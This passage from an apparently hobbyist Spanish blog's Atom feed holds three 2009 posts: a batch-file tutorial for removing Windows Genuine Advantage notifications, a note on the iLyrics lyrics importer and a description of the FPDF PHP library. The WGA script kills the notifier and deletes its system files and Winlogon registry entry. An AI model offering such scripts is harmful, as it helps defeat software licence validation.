comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=6204627763260782372' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/6204627763260782372'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/6204627763260782372'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/02/que-es-java-i.html' title='¿Qué es...? Java, I'/><author><name>SKiP</name><uri>http://www.blogger.com/profile/01684128721697384528</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_QfZzP58r_js/SV4JEHKmvGI/AAAAAAAAAAg/NXjrJxAGT-Y/S220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-7176620909234938130</id><published>2009-02-26T16:39:00.000+01:00</published><updated>2009-02-26T16:41:21.504+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutoriales'/><title type='text'>Eliminar notificaciones Windows Genuine Advantage KB905474</title><content type='html'>&lt;p&gt;Si te salen los mensajes al iniciar tu windows XP : "podría ser víctima de una falsificación de software" es porque se ha instalado en el PC el "Programa de ventajas de Windows Original".&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.cibermanuales.com/userfiles/falsificacion.jpg" alt="podría ser víctima de una falsificación de software" width="304" height="127" /&gt;&lt;br /&gt;Este mensaje es debido a que si tienes el Windows Xp instalado en tu PC y con las actualizaciones automaticas se te instala el paquete "Windows Genuine Advantage Notifications" KB905474, puede que te detecte  tu Windows XP como no válido y te ocasionará diversass molestias como no se puede eliminar por le panel de control en agregar o quitar programas.&lt;/p&gt; &lt;p&gt;Para eliminar estas notificaciones se tendrá que quitar del registro ejecutando el siguiente código.&lt;/p&gt; &lt;p&gt;Abrimos un nuevo documento de texto y pegamos  las siguientes 11 lineas:&lt;/p&gt; &lt;p&gt;taskkill /im wgatray.exe&lt;br /&gt;Del c:\Windows\System32\WgaTray.exe&lt;br /&gt;Del c:\Windows\System32\dllcache\WgaTray.exe&lt;br /&gt;echo Windows Registry Editor Version 5.00 &gt;%temp%\WGANFIX.REG&lt;br /&gt;echo. &gt;&gt;%temp%\WGANFIX.REG&lt;br /&gt;echo [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\WgaLogon] &gt;&gt;%temp%\WGANFIX.REG&lt;br /&gt;regedit /s %temp%\WGANFIX.REG&lt;br /&gt;del %temp%\WGANFIX.REG&lt;br /&gt;del c:windows\system32\wgalogon.dll&lt;br /&gt;del c:windows\system32\dllcache\wgalogon.dll&lt;/p&gt; &lt;p&gt;Posteriormente lo guardaremos con cualquier nombre y con la extensión .bat&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Reiniciamos el ordenador y ya tendremos el notificador de licencias Windows Genuine Advantage desinstalado.&lt;/p&gt;&lt;p&gt;Fuente &amp;amp; Imágenes | Cibermanuales&lt;/p&gt;&lt;p&gt;Saludos :D&lt;br /&gt;&lt;/p&gt;&lt;div style="visibility: hidden;" title="1235662768062" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662768063" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662768370" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662768371" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662768373" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662768376" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662768377" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662768378" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662768432" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662768434" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662768435" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662768436" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662768438" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662768439" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662768440" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662788555" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662788558" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662788755" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662788756" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662788758" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662788759" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662788761" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662788762" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662788763" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662788764" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662788766" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662788769" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662788770" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662788771" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235662788773" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-7176620909234938130?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/7176620909234938130/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=7176620909234938130' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/7176620909234938130'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/7176620909234938130'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/02/eliminar-notificaciones-windows-genuine.html' title='Eliminar notificaciones Windows Genuine Advantage KB905474'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-3055829743656648943</id><published>2009-02-25T21:21:00.002+01:00</published><updated>2009-02-25T21:27:20.410+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programas'/><title type='text'>iLyrics [SÓLO WINDOWS]</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://cache.gawker.com/assets/images/lifehacker/2009/02/2009-02-24_015523.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 504px; height: 250px;" src="http://cache.gawker.com/assets/images/lifehacker/2009/02/2009-02-24_015523.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Esta entrada va dirigida a todos los usuarios de iTunes + iPod a los que les gusta ver la letra de sus canciones favoritas.&lt;br /&gt;iLyrics es una aplicación, funcional 100%, que realiza automáticamente lo que muchos de nosotros hacemos en horas. El funcionamiento de este programa es muy simple: se seleccionan las canciones a buscar, seleccionas overwrite si quieres sobreescribir letras que tu hayas puesto, y el programa se conecta a una base de datos constantemente actualizada.&lt;br /&gt;Al ser un programa inglés, y una base de datos inglesa, las letras en español escasean, y las que hay están, o bien mal redactadas, o, debido a la ausencia de ´ tildes en el alfabeto inglés son sustituidos por símbolos.&lt;br /&gt;&lt;br /&gt;http://senthilkumar.googlepages.com/ituneslyricsimporter&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;br /&gt;&lt;br /&gt;&lt;img src="file:///C:/Users/Guill3/AppData/Local/Temp/moz-screenshot.jpg" alt="" /&gt;&lt;img src="file:///C:/Users/Guill3/AppData/Local/Temp/moz-screenshot-1.jpg" alt="" /&gt;&lt;div style="visibility: hidden;" title="1235593293168" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593293268" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593293730" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593293731" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593293732" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593293734" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593293735" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593293736" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593293738" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593293739" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593293740" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593293741" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593293744" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593293747" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593293748" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593299455" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593299457" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593299458" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593299502" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593357209" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593357213" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593357371" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593357373" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593357374" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593357375" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593357376" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593357379" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593357381" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593357382" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593357383" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593357384" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593357386" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593362829" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593362853" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593362860" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593363093" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593363166" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593370497" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593370501" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593370680" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593370682" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593370683" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593370684" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593370685" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593370686" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593370687" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593370688" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593370690" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593370692" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593370693" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593437797" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593437808" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593437998" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593438000" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593438001" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593438003" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593438005" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593438006" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593438007" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593438008" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593438038" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593438040" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593438041" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593567585" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593567587" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593567873" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593567877" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593567903" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593567905" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593567906" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593567909" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593567910" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593567911" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593567912" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593567914" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593567915" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579137" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579141" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579142" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579498" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579500" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579508" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579510" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579511" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579526" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579527" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579528" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579530" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579531" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579534" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579535" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579577" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579578" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579582" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579584" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579585" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579586" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579587" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579589" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579591" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579592" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235593579594" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-3055829743656648943?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/3055829743656648943/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=3055829743656648943' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/3055829743656648943'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/3055829743656648943'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/02/ilyrics-solo-windows.html' title='iLyrics [SÓLO WINDOWS]'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-7341349244729377741</id><published>2009-02-24T16:41:00.002+01:00</published><updated>2009-02-24T16:47:37.728+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>FPDF</title><content type='html'>&lt;h2&gt;¿Qué es FPDF?&lt;/h2&gt;  &lt;p&gt;FPDF es una clase escrita en PHP que permite generar documentos PDF directamente desde PHP, es decir, sin usar la biblioteca PDFlib. La F de FPDF significa &lt;i&gt;Free&lt;/i&gt; (gratis y libre): puede usted usarla para cualquier propósito y modificarla a su gusto para satisfacer sus necesidades.&lt;/p&gt;  &lt;p&gt;FPDF tiene otras ventajas: funciones de alto nivel. Esta es una lista de sus principales características:&lt;/p&gt;  &lt;ul style="margin-left: 0.7em; padding-left: 0.7em;"&gt;&lt;li&gt;Elección de la unidad de medida, formato de página y márgenes&lt;/li&gt;&lt;li&gt;Gestión de cabeceras y pies de página&lt;/li&gt;&lt;li&gt;Salto de página automático&lt;/li&gt;&lt;li&gt;Salto de línea y justificación del texto automáticos&lt;/li&gt;&lt;li&gt;Admisión de imágenes (JPEG, PNG y GIF)&lt;/li&gt;&lt;li&gt;Colores&lt;/li&gt;&lt;li&gt;Enlaces&lt;/li&gt;&lt;li&gt;Admisión de fuentes TrueType, Type1 y codificación&lt;/li&gt;&lt;li&gt;Compresión de página&lt;/li&gt;&lt;/ul&gt;  &lt;p&gt;FPDF no necesita de ninguna extensión para PHP (excepto zlib para activar la compresión y GD para soporte a GIF) y funciona con PHP4 y PHP5.&lt;/p&gt;  &lt;p&gt;Los &lt;a href="http://www.fpdf.org/es/tutorial/index.php"&gt;tutoriales&lt;/a&gt; le permitirán empezar rápidamente a usar FPDF. La documentación completa (on line) se encuentra &lt;a href="http://www.fpdf.org/es/doc/index.php"&gt;aquí&lt;/a&gt; y el área de descarga, &lt;a href="http://www.fpdf.org/es/download.php"&gt;aquí&lt;/a&gt;. Se recomienda encarecidamente que lea las &lt;a href="http://www.fpdf.org/es/FAQ.php"&gt;FAQ&lt;/a&gt; (o PMF: preguntas más frecuentes), que listan las preguntas y problemas más comunes (especialmente los relacionados con los navegadores).&lt;/p&gt;  &lt;p&gt;Existe una sección de &lt;a href="http://www.fpdf.org/es/script/index.php"&gt;scripts&lt;/a&gt; que incluye algunas extensiones útiles.&lt;/p&gt;  &lt;h2&gt;¿Qué idiomas puedo usar?&lt;/h2&gt;  &lt;p&gt;La clase genera documentos en muchos otros idiomas aparte de los europeos occidentales: europeo central, ciríloco, griego, báltico y &lt;a href="http://www.fpdf.org/phorum/read.php?f=1&amp;amp;i=5090&amp;amp;t=4996#5090"&gt;tailandés&lt;/a&gt;, si se dispone de fuentes TrueType o Type1 con el conjunto de caracteres adecuado. &lt;a href="http://www.fpdf.org/phorum/read.php?f=1&amp;amp;i=5142&amp;amp;t=5142"&gt;El chino&lt;/a&gt; y &lt;a href="http://www.fpdf.org/phorum/read.php?f=1&amp;amp;i=7977&amp;amp;t=7977"&gt;el japonés&lt;/a&gt; también están admitidos.&lt;/p&gt;  &lt;h2&gt;¿Y qué hay de la eficiencia?&lt;/h2&gt;  &lt;p&gt;Como es lógico, la velocidad de generación de un documento es menor que con PDFlib. Sin embargo, la desventaja en cuanto a rendimiento es muy razonable y se adecúa a la mayoría de los casos, a no ser que sus documentos vayan a ser especialmente complejos o extensos.&lt;/p&gt;&lt;p&gt;PÁGINA PRINCIPAL &amp;amp; FUENTE: http://www.fpdf.org/&lt;/p&gt;&lt;p&gt;Saludos :D&lt;br /&gt;&lt;/p&gt;&lt;div style="visibility: hidden;" title="1235490285473" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490285490" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490300711" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490300722" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490300724" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490300937" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490300939" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490300947" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490300951" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490300952" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490300953" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490300954" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490300955" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490300957" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490300958" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490300959" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490300960" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490300961" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490300962" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490300963" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490302409" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490304374" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490304507" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490413687" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490413691" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490413696" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490413940" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490413950" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490413952" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490413956" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490413957" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490413958" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490413960" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490413963" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490413965" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490413966" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490413972" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490413973" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490413974" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1235490413976" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-7341349244729377741?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/7341349244729377741/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=7341349244729377741' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/7341349244729377741'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/7341349244729377741'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/02/fpdf.html' title='FPDF'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 